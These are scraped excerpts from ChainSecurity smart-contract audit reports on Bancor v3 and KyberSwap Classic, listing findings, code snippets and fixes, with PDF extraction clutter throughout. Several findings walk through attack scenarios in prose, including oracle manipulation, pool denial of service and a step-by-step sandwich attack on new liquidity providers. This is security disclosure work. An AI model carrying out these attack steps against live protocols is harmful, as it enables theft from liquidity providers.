staked balance has already been set to 0, this second call to BNTPool.renounceFunding will now revert due to a division by 0. Consider the following case: User A deposits TKN liquidity into an empty pool. Trading is enabled. User B trades a certain amount of TKN for BNT. User A now withdraws all his supplied TKN. The withdrawal fails due to the mentioned problem. Risk accepted: The client accepts the risk, stating the following: This is a rare case that we don\u2019t expect to happen in practice, since trading can\u2019t be enabled immediately and usually involves many depositors. In any case, we will consider addressing this in the future as well. Bancor - Bancor v3 - 18 DesignLowVersion1RiskAcceptedCorrectnessLowVersion1RiskAccepted \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings Oracle Manipulation -Severity Findings BNT Burned Twice Locked vBNT Pool Denial of Service -Severity Findings 0 1 3 18 BNT Deposit Allows msg.value > 0 Consistency Issues Between Implementation, Excel Demonstration and Documentation Regarding the Withdrawal Different Programs Can Share the Same Reward Emission of Events With Arbitrary Amounts Impossible to Migrate ETH Position Inconsistent Naming Inconsistent Use of ERC20.transfer Misleading Comment Misleading Comment in PoolCollection.enableTrading Problematic Loop Continuation During Pool Migration Undocumented Behavior Unused Imports / Variables Wrong Function Name in BancorPortal Wrong Interface AutoCompoundingRewards Can Burn More Pool Tokens Than Expected BNTPool.renounceFunding Fails on Insufficient BNT Pool Token Balance ERC20Permit Handling MathEx.reducedFraction Can Turn Denominator to 0 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-v3/"}, {"title": "6.1 Oracle Manipulation", "body": " To prevent manipulation, Bancor v3 calculates a moving average of each pool's spot price that is adjusted once per block. Critical actions like the increase of trading liquidity or withdrawal of funds Bancor - Bancor v3 - 19 CriticalHighCodeCorrectedMediumCodeCorrectedCodeCorrectedCodeCorrectedLowCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedSecurityHighVersion1CodeCorrected \frequires the spot rate of a pool to not diverge from this moving average by more than a certain percentage. Since the moving average is calculated as an arithmetic mean, it is subject to manipulation. Consider the following scenario: An attacker funds a pool with some tokens with a spot rate of 1 BNT : 1 token. They perform a trade from BNT to the token by providing an amount of BNT that changes the spot rate to 10 BNT : 1 token. The average rate is now 2.8 BNT : 1 token. In the next block, they perform another trade from token to BNT to bring the spot rate back to 2.8 BNT : 1 token. Since the spot rate now equals the average rate, the attacker can withdraw his supplied tokens. The pool does not contain enough tokens to satisfy the withdrawal, so the attacker gets compensated in BNT for the outstanding amount. This compensation is calculated with the average rate of the pool which now is 2.8 BNT to 1 token instead of the real 1 : 1 rate. The attacker will receive 2.8 times the amount of BNT he is actually eligible to receive. The attacker is required to split both trades in 2 consecutive blocks. In the first block, they create an arbitrage opportunity that can be utilized by an arbitrageur. To make sure, their initial investment will not be lost, they must selfishly mine 2 blocks in a row. This is possible with around 1.5% of the total hashrate of Ethereum. Renting this amount of hashrate is in the realm of possibilities and we estimate that the cost of renting the hashrate and losing out on the reward of the additional mined blocks results in a total cost of ~150.000 USD. Alternatively, an attacker could try to spam transactions to the Ethereum network in order for their second transaction to be executed before the transactions of any arbitrage bot. Furthermore, after Ethereum's transition to Proof-of-Stake, the attack becomes simpler: As the attacker now knows when it is their turn for validation, they could submit their first transaction right to the block before. Using Flashbots, the transaction could actually be hidden so that no arbitrage bots would see it before it is included in the block. The next block is then in the hand of the attacker. While this attack is hard to carry out and requires a lot of capital, it can also create immense losses. A second moving average for the inverse rate has been introduced. Averages for the rate and the inverse rate are calculated independently which prevents the aforementioned attack. The resulting inverse rate in the example would diverge from the inverse spot rate by ~100%. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-v3/"}, {"title": "6.2 BNT Burned Twice", "body": " Withdrawals from PoolCollection can result in the burning of double the amount of BNT than intended. This happens any time a withdrawal occurs that results in the protocol removing BNT from the this case, both amounts.bntProtocolHoldingsDelta.value and protocol equity. amounts.bntTradingLiquidityDelta.value are set to the same value greater than 0, resulting in a call to BNTPool.burnFromVault which burns the same amount of BNT again. to BNTPool.renounceFunding which burns the amount of BNT and a call In Bancor - Bancor v3 - 20 CorrectnessMediumVersion1CodeCorrected \fboth If and amounts.bntTradingLiquidityDelta.value are greater than 0, only the former value triggers token burning (via BNTPool.renounceFunding). amounts.bntTradingLiquidityDelta.value ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-v3/"}, {"title": "6.3 Locked vBNT", "body": " the StandardRewards In or depositAndJoinPermitted to deposit underlying tokens and stake the obtained pool tokens in one single transaction. To perform such aggregation, the protocol transfers the tokens from the user to itself and calls BancorNetwork.depositFor to get the pool tokens that will then be used for staking. depositAndJoin contracts, users can call If the token being deposited is BNT, BancorNetwork will send both bnBNT and vBNT to the contract. As there is no handling for vBNT, it will stay locked into the contract, preventing the user to ever withdraw his BNT from the network. depositAndJoin now keeps the pool tokens, but sends vBNT back to the provider if BNT are deposited. Additionally, a temporary function transferProviderVBNT has been added to allow distribution of already accumulated vBNT to their owners by the contract admin. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-v3/"}, {"title": "6.4 Pool Denial of Service", "body": " The first user to deposit into a newly created pool can immediately burn his pool tokens. In this case, depositing into the pool no longer works, because the following check will revert: if (poolTokenSupply == 0) { if (stakedBalance > 0) { revert InvalidStakedBalance(); } } A malicious user could create a bot that performs this attack cheaply by instantly depositing 1 wei base tokens into any newly created pool. New deposits now reset the pool when pool token supply is 0 and staked balance is greater than 0. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-v3/"}, {"title": "6.5 BNT Deposit Allows msg.value > 0", "body": " BancorNetwork.depositFor is payable. While the _depositBaseTokenFor function makes sure that it reverts if the sent token is not equal to ETH and msg.value is greater than 0, the same check is not applied in _depositBNTFor. Bancor - Bancor v3 - 21 DesignMediumVersion1CodeCorrectedSecurityMediumVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \f _depositBNTFor now reverts if msg.value is greater than 0. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-v3/"}, {"title": "6.6 Consistency Issues Between Implementation,", "body": " Excel Demonstration and Documentation Regarding the Withdrawal 1. Deviating Calculation of BNT Burned The formula for BNT trading liquidity to be burned from the pool defined in the excel spreadsheet renounce nothing method.A11 is deviating from the white paper and the implementation. It seems like the sign in front of B10*E10 needs to be removed. The documented and implemented formula is: P = ax(b + c + e(2 \u2212 n)) (1 \u2212 m)(be + x(b + c \u2212 e(1 \u2212 n))) The formula used in excel is: 2. Incorrect Denominator P = ax(b + c + e(2 \u2212 n)) (1 \u2212 m)(\u2212be + x(b + c \u2212 e(1 \u2212 n))) The documentation on page 39 has the following formula documented for hmax supr hmaxsurp = be(en + m(b + c \u2212 e)) (1 \u2212 m)(b + c \u2212 e(1 \u2212 n)) The formula's denominator is missing the additional term (b+c-e) Specification changed Bancor replied the following: Both issues outlined here were actually typing errors in the spec, while the implementation is correct. The spec was updated. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-v3/"}, {"title": "6.7 Different Programs Can Share the Same", "body": " Reward AutoCompoundingRewards ensures that only one program exists for a specific pool at a given time. In practice, this means that the pool tokens allocated for such programs cannot be used by another one. Bancor - Bancor v3 - 22 CorrectnessLowVersion1Speci\ufb01cationChangedCorrectnessLowVersion1CodeCorrected \fSimilarly, using _unclaimedRewards, StandardRewards makes sure that if multiple programs have the same reward token, the external reward vault must contain enough tokens to cover all of them. However, if StandardRewards and AutoCompoundingRewards contain programs for the same reward token and the address for the _externalRewardsVault is the same in both contracts, correct funding cannot be ensured because both programs only check that there are enough funds in the vault. StandardRewards now only distributes BNT via minting. _externalRewardsVault anymore. It does not access the ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-v3/"}, {"title": "6.8 Emission of Events With Arbitrary Amounts", "body": " BancorNetwork._initWithdrawal does not check if the supplied pool token address belongs to a pool. An attacker could call the function with a fake pool token that returns a valid pool address: Token pool = poolToken.reserveToken(); if (!_network.isPoolValid(pool)) { revert InvalidPool(); } The contract would then transfer the fake pool tokens from the attacker while the attacker keeps the real pool tokens and emit a WithdrawalInitiated event with arbitrary pool token amounts. While this is not a problem for the protocol itself and is also not exploitable in the final withdrawal, third party applications relying on the emitted events could be affected. _initWithdrawal now correctly checks if the supplied pool token is valid. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-v3/"}, {"title": "6.9 Impossible to Migrate ETH Position", "body": " When trying to migrate a Uniswap or SushiSwap position, if one of the tokens is the protocol defined native token address 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE, the call to the factory to obtain transaction will revert with the NoPairForTokens as this custom address is not used in these protocols. the pair's address will return the address zero and Code corrected Bancor now interacts with Uniswap and SushiSwap using the WETH address instead of 0xEee...EEeE. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-v3/"}, {"title": "6.10 Inconsistent Naming", "body": " Bancor - Bancor v3 - 23 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fBancorPortal.migrateSushiSwapV1Position returns a struct with \"Uniswap\" in one of its field's names. migrateUniswapV2Position and migrateSushiSwapPosition now both return a struct with the name PositionMigration. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-v3/"}, {"title": "6.11 Inconsistent Use of ERC20.transfer", "body": " In some cases a normal transfer is used. Some of these occurrences have the comment: // transfer the tokens to the provider (we aren't using safeTransfer, since the PoolToken is a fully // compliant ERC20 token contract) p.poolToken.transfer(provider, poolTokenAmount) But the pool token is also transferred with a safe transfer in another case poolToken.safeTransferFrom(provider, address(_pendingWithdrawals), poolTokenAmount) The assumption that all tokens behave as expected should be carefully evaluated against gas savings between a normal transfer and a safe transfer. BancorNetwork._initWithdrawal now transfers the pool tokens using a regular transferFrom call. Since all pool tokens are PoolToken contracts, they revert on failure making it safe to use the regular transferFrom function. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-v3/"}, {"title": "6.12 Misleading Comment", "body": " _latestPoolCollections in BancorNetwork has the following comment: a mapping between the last pool collection that was added to the pool collections set and its type Since the function setLatestPoolCollection allows the governance to set to latest pool collection to any pool collection, the comment is incorrect. Furthermore, when the the \"latest\" pool collection is set to an older version, multiple pool collections with the same version can be added through addPoolCollection. The latestPoolCollections mechanism has been completely removed. Bancor - Bancor v3 - 24 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f6.13 Misleading Comment in PoolCollection.enableTrading A comment of PoolCollection.enableTrading states: if the price of one (10**18 wei) BNT is $X and the price of one (10**6 wei) USDC is $Y, then the virtual balances should represent a ratio of X to Y*10**12 The explanation is ambiguous and could be misunderstood in a way that both virtual balances must be represented with the same number of decimals. The addressed documentation has been improved to clarify possible misunderstandings. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-v3/"}, {"title": "6.14 Problematic Loop Continuation During Pool", "body": " Migration BancorNetwork.migratePools checks if newPoolCollection is equal to the 0-address. In the current setup this can never happen. Furthermore, if the PoolMigrator implementation changes for future PoolCollection versions so that the migratePool function could indeed return the 0-address, the mentioned check leads to a continuation of the migration loop: if (newPoolCollection == IPoolCollection(address(0))) { continue; } In this case, the pool data of the old pool would be lost and _collectionByPool would point to a pool collection that does not contain the migrated pool anymore. The lastPoolCollection mechanism has been completely removed and migrations to new pools now require the caller to pass an explicit pool collection to the migratePool function. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-v3/"}, {"title": "6.15 Undocumented Behavior", "body": " The trade functions in BancorNetwork allow the user to declare a beneficiary. If the user sets this beneficiary to the 0-address, the beneficiary is replaced with the user's address. This behavior is not documented. Bancor - Bancor v3 - 25 DesignLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fAll trade functions now explain the mentioned special behavior. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-v3/"}, {"title": "6.16 Unused Imports / Variables", "body": " The following types have been imported but not used inside the respective contracts: BancorNetwork: WithdrawalRequest BancorV1Migration: Upgradeable BNTPool: Utils Fraction IPoolCollection Pool PoolToken PoolMigrator: Fraction AutoCompoundingRewards: AccessDenied StandardRewards AccessDenied Additionally, BNTPool twice, PoolMigrator defines a private constant INVALID_POOL_COLLECTION that is not used and StandardRewards defines an unused error PoolMismatch. imports Token All unused imports and variables have been removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-v3/"}, {"title": "6.17 Wrong Function Name in BancorPortal", "body": " BancorPortal contains a function migrateSushiSwapV1Position indicating calls to SushiSwap v1 even though the referenced contracts belong to SushiSwap v2. V1 and V2 strings have been removed from all function, event and variable names related to SushiSwap. Bancor - Bancor v3 - 26 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f6.18 Wrong Interface BancorV1Migration.migratePoolTokens v3's types IPoolToken interface. While this is not a problem right now, future changes in the interface might create problems here. legacy DSToken addresses with BancorV1Migration now uses a separate interface for legacy pool tokens. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-v3/"}, {"title": "6.19 AutoCompoundingRewards Can Burn More", "body": " Pool Tokens Than Expected On creation of a program in AutoCompoundingRewards, the caller provides the amount of tokens that should be distributed during the lifetime of the program. Depending on the token to be distributed, createProgram and PoolCollection.poolTokenAmountToBurn. Both functions use the same formula to calculate the amount of pool tokens that have to be burned in order to distribute the given token amount: BNTPool.poolTokenAmountToBurn either calls function poolTokenAmountToBurn(uint256 bntAmountToDistribute) external view returns (uint256) { if (bntAmountToDistribute == 0) { return 0; } uint256 poolTokenSupply = _poolToken.totalSupply(); uint256 val = bntAmountToDistribute * poolTokenSupply; return MathEx.mulDivF( val, poolTokenSupply, val + _stakedBalance * (poolTokenSupply - _poolToken.balanceOf(address(this))) ); } The formula allows for the burning of high amounts of pool tokens (up to the total), which can become problematic for new deposits as the value of the pool tokens now far exceeds the value of the underlying tokens, potentially leading to large rounding errors for token suppliers. To highlight this problem, consider the following example: bnBNT total supply is 20000 The protocol holds all bnBNT (i.e. no user has supplied any BNT) In this case _stakedBalance * (poolTokenSupply - _poolToken.balanceOf(address(this)) is now 0. The formula is therefore reduced to: bntAmountToDistribute * poolTokenSupply * poolTokenSupply / bntAmountToDistribute * poolTokenSupply Bancor - Bancor v3 - 27 CorrectnessLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \fThe amount of tokens to be distributed is now completely factored out of the equation. It will therefore always return poolTokenSupply to be burned, no matter the amount of tokens to distribute. If the amount of pool tokens to be burnt in a single program exceeds 50% of the total supply, the program is now terminated. This ensures that the value of pool tokens does not appreciate too much in comparison to the underlying. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-v3/"}, {"title": "6.20 BNTPool.renounceFunding Fails on", "body": " Insufficient BNT Pool Token Balance BNTPool.renounceFunding removes a given amount of BNT and burns the corresponding pool tokens. Because the pool tokens will be distributed to BNT liquidity providers, there can be circumstances where the protocol does not hold enough pool tokens for a given amount BNT that has to be burned. This will result in reverting transactions. Consider the following example: Liquidity provider withdrawals that exceed the amount of excess tokens in a given pool require the protocol to decrease the liquidity of the pool. If the amount of BNT liquidity that must be removed is greater than the amount of BNT pool tokens the protocol holds (because enough users have provided BNT liquidity in exchange for BNT pool tokens), the call will revert. renounceFunding now burns at most the amount of pool tokens available and updates the staked balance accordingly. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-v3/"}, {"title": "6.21 ERC20Permit Handling", "body": " The permit function of ERC20Permit tokens is called expecting them to revert if the given signature is incorrect. While this is the correct behavior according to the EIP 2612 specification, numerous token projects have shown that specifications are not always adhered to completely (e.g. the transfer function in USDT). Therefore, it might be possible that some token project exists that does not revert but rather returns a boolean value on calls to permit. ``ERC20Permit` support has been completely removed from the project. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-v3/"}, {"title": "6.22 MathEx.reducedFraction Can Turn", "body": " Denominator to 0 Bancor - Bancor v3 - 28 CorrectnessLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedCorrectnessLowVersion1CodeCorrected \fMathEx.reducedFraction equally scales down two uint256 values so that the higher value does not exceed a defined maximum. It computes the factor by which the values have to be divided with the following code: uint256 scale = Math.ceilDiv(Math.max(fraction.n, fraction.d), max); In the case that fraction.d is smaller than scale, the fraction's denominator will be set to 0 causing undefined behavior. Since the function is always used with a max value of type(uint112).max, this can only happen in edge cases where the numerator of the fraction is type(uint112).max times greater than the denominator. Code Corrected: reducedFraction now reverts if the denominator is set to 0. Bancor - Bancor v3 - 29 \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-v3/"}, {"title": "7.1 32 Bit Timestamps in Storage", "body": " Some contracts (e.g. AutoCompoundingRewards) keep timestamps with the type uint32 in storage. This will render the contracts unusable and make them hard to upgrade after the year 2106. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-v3/"}, {"title": "7.2 Impermanent Loss Protection Can Be", "body": " Disabled PoolCollection.enableProtection can be called by Bancor v3's governance to disable Impermanent Loss protection. This can result in liquidity providers not being able to withdraw the full amount of tokens they are owed. In fact, LPs can end up with less tokens than originally provided and without any compensation. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-v3/"}, {"title": "7.3 Implementations Not Initialized", "body": " Bancor deploys some if its contracts using a proxy pattern. However, the deployed implementations are not initialized by default. This is also evident on the current live version of the protocol. While this is not a problem currently, later changes might introduce DELEGATECALL op-codes. In this case, a malicious user could claim ownership of the contract and generate a DELEGATECALL to a contract containing a SELFDESTRUCT op-code, causing a denial of service. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-v3/"}, {"title": "7.4 Inconsistent Interface", "body": " PoolCollection defines a function enableDepositing with a boolean argument to determine if depositing should be enabled or disabled. On the contrary, it defines the distinct functions enableTrading and disableTrading. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-v3/"}, {"title": "7.5 Liquidity Growth Not Restricted", "body": " When a pool gets enabled for trading, the starting liquidity is set to a pre-determined amount of BNT and not set to the full amount possible. On certain actions, the trading liquidity is allowed to grow by the LIQUIDITY_GROWTH_FACTOR liquidity by calling factor. However, anyone can grow the Bancor - Bancor v3 - 30 NoteVersion1NoteVersion2NoteVersion1NoteVersion1NoteVersion1 \fBancorNetwork.depositFor with the minimum amount of 1 wei token. Thus, this mechanism only protects against accidents and not against deliberate manipulation. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-v3/"}, {"title": "7.6 Missing Access Control in postUpgrade", "body": " postUpgrade has no access restrictions. Using it in an upgrade needs to happen in one transaction if frontrunning should be mitigated. Bancor has a deploy script that will automatically call this function in the upgrade transaction. But this is not guaranteed and might fail. We cannot see a case that it should be callable by everyone. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-v3/"}, {"title": "7.7 More vBNt Than bnBNT Obtainable", "body": " If the protocol does not have any bnBNT, it should be impossible to deposit BNT and hence obtain vBNT. However, in this case, a user can first send some bnBNT to the BNTPool and then deposit some BNT to obtain both the pre-owned bnBNT and newly minted vBNT. Although the BNT the user just deposited is not withdrawable anymore as he does no longer own the corresponding bnBNT, he is able to obtain additional vBNT at this cost. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-v3/"}, {"title": "7.8 No Recovery of Accidental Token Transfers", "body": " Possible In case an ERC20 token other than the BNT or one of the base tokens is sent to the contract, then it cannot be recovered. Among other reasons, this might happen due to airdrops based on the base tokens. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-v3/"}, {"title": "7.9 Potential External Contract Manipulation", "body": " functions The and BancorNetworkInfo.withdrawalAmounts are subject to manipulation by reentrancy. If the mentioned functions are used in any way to alter the state of an external contract (for example an investment protocol that supplies liquidity to Bancor v3), the values they return can be manipulated by calling the external contract in the onFlashLoan callback of BancorNetwork.flashloan. PoolCollection.withdrawalAmounts This is possible because of the following call in PoolCollection._poolWithdrawalAmounts: int256 baseTokenExcessAmount = pool.balanceOf(address(_masterVault)) - data.liquidity.baseTokenTradingLiquidity; onFlashLoan will be called after the balance of _masterVault has already been reduced by the flashloan amount. Bancor - Bancor v3 - 31 NoteVersion1NoteVersion1NoteVersion1NoteVersion1 \f7.10 Redundant Role Management Most contracts are upgradable. Hence, they have their own admin account. There is no central management checking these roles are set accordingly. An admin change needs to be done individually and redundantly. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-v3/"}, {"title": "7.11 Unequal Token Burning", "body": " Withdrawal of supplied tokens is subject to a 7-day waiting period. In this period, newly generated interest is not accrued to the withdrawing user. This means, that after 7-days, the pool tokens sent to the PendingWithdrawals contract are worth slightly more than the amount of tokens the user actually receives. Because PoolCollection completely burns all of these pool tokens, while BNTPool keeps them, the outcome of a withdrawal of BNT differs to withdrawals of other tokens. Consider the following 2 examples: BNT: totalSupply of bnBNT is 100. _stakedBalance in the BNTPool is 100. A user initiates a withdrawal with 50 bnBNT, allowing them to withdraw 50 BNT after 7 days. After 7 days, 100% interest has accrued and the new _stakedBalance is now 200. The user withdraws their 50 BNT (which get minted) and the 50 bnBNT are repossessed by BNTPool. _stakedBalance is now 200. totalSupply is now 100. TKN: totalSupply of bnTKN is 100. _stakedBalance in the PoolCollection is 100. A user initiates a withdrawal with 50 bnTKN, allowing them to withdraw 50 TKN after 7 days. After 7 days, 100% interest has accrued and the new _stakedBalance is now 200. The user withdraws their 50 TKN and the 50 bnTKN are burned. _stakedBalance is now 150. totalSupply is now 50. Both examples illustrate the same scenario but in the BNT case, a pool token is worth 2 BNT in the end, while in the TKN case, a pool token is now worth 3 TKN. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-v3/"}, {"title": "7.12 Unsupported Tokens", "body": " Not all ERC20 tokens can act as base tokens for Bancor v3 contracts. In particular, the following tokens are not supported: Bancor - Bancor v3 - 32 NoteVersion1NoteVersion2NoteVersion1 \f Tokens that return metadata fields like name and symbol encoded as bytes32 instead of string (e.g. MKR). PoolTokenFactory.createPoolToken will fail to create a pool token for these tokens. Tokens that take a fee on transfer (e.g. PAXG and possibly USDT). A deposit will use the full amount to mint pool tokens while the contract has received a lower amount. Tokens that have a rebasing mechanism (e.g. AAVE's aToken). User's staked balances will not be updated accordingly. Additionally, the following tokens could break the protocol in the future: Tokens with blacklists (e.g. USDT, USDC). Upgradeable tokens that add one of the mentioned mechanisms in the future. Pausable tokens (e.g. BNB). Bancor - Bancor v3 - 33 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/bancor-v3/"}, {"title": "5.1 Obsolete Storage Writes During Pool", "body": " Deployment 0 0 2 0 After the intermediate report, the following functions have been added to DMMPool: function name() public override view returns (string memory) { IERC20Metadata _token0 = IERC20Metadata(address(token0)); IERC20Metadata _token1 = IERC20Metadata(address(token1)); return string(abi.encodePacked(\"KyberDMM LP \", _token0.symbol(), \"-\", _token1.symbol())); } function symbol() public override view returns (string memory) { IERC20Metadata _token0 = IERC20Metadata(address(token0)); IERC20Metadata _token1 = IERC20Metadata(address(token1)); return string(abi.encodePacked(\"DMM-LP \", _token0.symbol(), \"-\", _token1.symbol())); } The pool storage still contains the old name and symbol variables which are set during execution of the constructor. Due to the new functions, the new name and symbol will be returned while the storage variables are now obsolete. constructor() public ERC20Permit(\"KyberDMM LP\", \"DMM-LP\", \"1\") VolumeTrendRecorder(0) { These unnessesary storage writes makes the deployment of new pools more expensive than necessary. In particular 100,000 gas (roughly 20 USD at the time of writing) could be saved during each pool deployment. Kyber.Network - KyberSwap Classic - ChainSecurity 11 SecurityDesignCorrectnessCriticalHighMediumAcknowledgedLowDesignMediumVersion2 \f5.2 Actual Amplification Reduces After Unblanced Contribution Users may add liquidity to a pool by directly invoking DmmPool.mint(). Normally, liquidity is added in balanced amounts of token0 and token1 according to the pool's inventory as the amount of liquidity tokens minted in return is based on the lower contribution. The surplus amount of the other token is kept by the pool. After minting, the values of the virtual reserves are updated as follows: liquidity = Math.min( amount0.mul(_totalSupply) / data.reserve0, amount1.mul(_totalSupply) / data.reserve1 ); uint256 b = liquidity.add(_totalSupply); _data.vReserve0 = Math.max(data.vReserve0.mul(b) / _totalSupply, _data.reserve0); _data.vReserve1 = Math.max(data.vReserve1.mul(b) / _totalSupply, _data.reserve1); Unbalanced contributions reduce the factor between the value of the actual reserve and the virtualReserve, hence the pool \"looses amplification\" figuratively speaking. In an extreme scenario of an unbalance contribution, which is rather costly for an attacker and has no clear benefit, the following scenario may arise: Assume a pool has following state: reserve0 = 1000, reserve1 = 1000, vReserve0 = 2000 and vReserve1 = 2000. 1. A user adds 2000 token0 and 1 token1 to the pool. The values for vReserve0 and vReserve1 should now be 2002. However, as the pool received an additional amount of token0 the value of reserve0 (3000) is now higher than the result of the calculation for the new vReserve0 amount, hence the value for vReserve0 is set to _data.reserve0. 2. This step may be repeated for the other token: A user adds 3 tokens to reserve0 and 2998 tokens to reserve1. Then again the vReserve1 will get the value of reserve1. 3. Now it holds that reserve0 = vReserve0 and reserve1 = vReserve1. After such a scenario an amplified pool is no longer amplified. Note that a similar attack vector can be implemented using burn for tokens that accrue rewards on transfer. unbalanced The documentation provided does not describe the expected behavior when liquidity is added in case of an section paper Adding liquidity in Ampfliciation model on page 7 the only case described is when the contributions match the expected ratio. Amplification contribution. Model, the In in Acknowledged: Kyber is aware of this scenario and states: Note that liquidity providers get benefits if this scenario happens and the attacker has no economic incentives to do this. Kyber.Network - KyberSwap Classic - ChainSecurity 12 DesignMediumVersion1Acknowledged \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings -Severity Findings -Severity Findings Conflicting Statements About Contribution Ratio Sandwich Attack on New Liquidity Providers -Severity Findings Outdated Compiler Version Redundant Modulo Operation Unused Library Unused blockTimestampLast Wrong Inequality vReserve Wrong Naming 0 0 2 6 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-classic/"}, {"title": "6.1 Conflicting Statements About Contribution", "body": " Ratio The document Dynamic AMM model design and rationals in section 2.3.3 Add Liquidity reads: When users add liquidity to existing pools, they must add liquidity with the current ratio of token in the pool. The amount of mint token will be the min increase proportion of 2 tokens, the virtual balances will scale out with the mint token to assure that the price range of the pools is only bigger. Special case: the pool has reserve0=1000 and reserve1=1000 and vReserve0=2000 and vReserve1=2000. An user adds 2000 token0 and 1 token1 to the pool. The vReserve0 and vReserve1 should be 2002. But the reserve0 (3000) is higher than vReserve0. Therefore, we must vReserve0 = max(reserve0, vReserve0) to assure the assumption that vReserve0 >= reserve0 The first statement clearly states: must add liquidity with the current ratio of token in the pool while the next statement handles a special case where this does not hold - hence the two statements are contradicting. The actual implementation does not enforce that adding liquidity must be done with the current ratio of the tokens in the pool. Finally the rational behind setting vReserve to reserve in case the new value for vReserve is less than reserve is not clear. It's understood that vReserve cannot be smaller than reserve as the Kyber.Network - KyberSwap Classic - ChainSecurity 13 CriticalHighMediumSpeci\ufb01cationChangedCodeCorrectedLowCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCorrectnessMediumVersion1Speci\ufb01cationChanged \famplification factor must be >= 1, however it's questionable and not documented why setting the value equal to reserve is the correct action in this case. Specification changed: The specification has been updated and now describes the scenario of an unbalanced contribution more detailed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/kyberswap-classic/"}, {"title": "6.2 Sandwich Attack on New Liquidity Providers", "body": " This attack works against new liquidity providers when they are adding liquidity. The overall idea of the attack is that the virtual reserve values are out of sync with the reserve values. Hence, the slippage protection of addLiquidity() can be circumvented. The reserve values are brought out of sync by adding unbalanced liquidity. Adding unbalanced liquidity by itself is good for liquidity providers, but in this combination it can be used for an attack. Prerequisites: A pool with little liquidity, e.g. new pool The pool is amplified The attacker has the ability to perform a sandwich attack Setup: The pool has two token T0, T1 T0 is worth 100 USD T1 is worth 1 USD The pool is balanced, e.g. 1 T0 and 100 T1 Attacks Steps: 1. Attacker adds liquidity regularly through the router. Hence, the pool is still correctly balanced. In particular the reserves and virtual reserves have the ratio 1:100. 2. The victim looks at the pool and decides to add liquidity The victim uses the router and allows for no slippage or a tiny amount of slippage (hence, following best practices) The victim sets up amountADesired and amountBDesired in 1:100 ratio, also amountAMin and amountBMin have 1:100 ratio 4. The attacker detect the victim transaction in the mempool and starts a sandwich attack 5. First attacker transaction: The attacker swaps all of T0 out of the pool The attacker adds unbalanced liquidity (as described in our report) These two steps can be repeated As a result the reserves are in a 1:100 ratio but the virtual reserves are in a different ratio, e.g. 1:210 in our example 6. The victim transaction is executed, all checks pass, the transaction is successfully completed Kyber.Network - KyberSwap Classic - ChainSecurity 14 SecurityMediumVersion1CodeCorrected \f7. Second attacker transaction: Attacker removes all its liquidity from 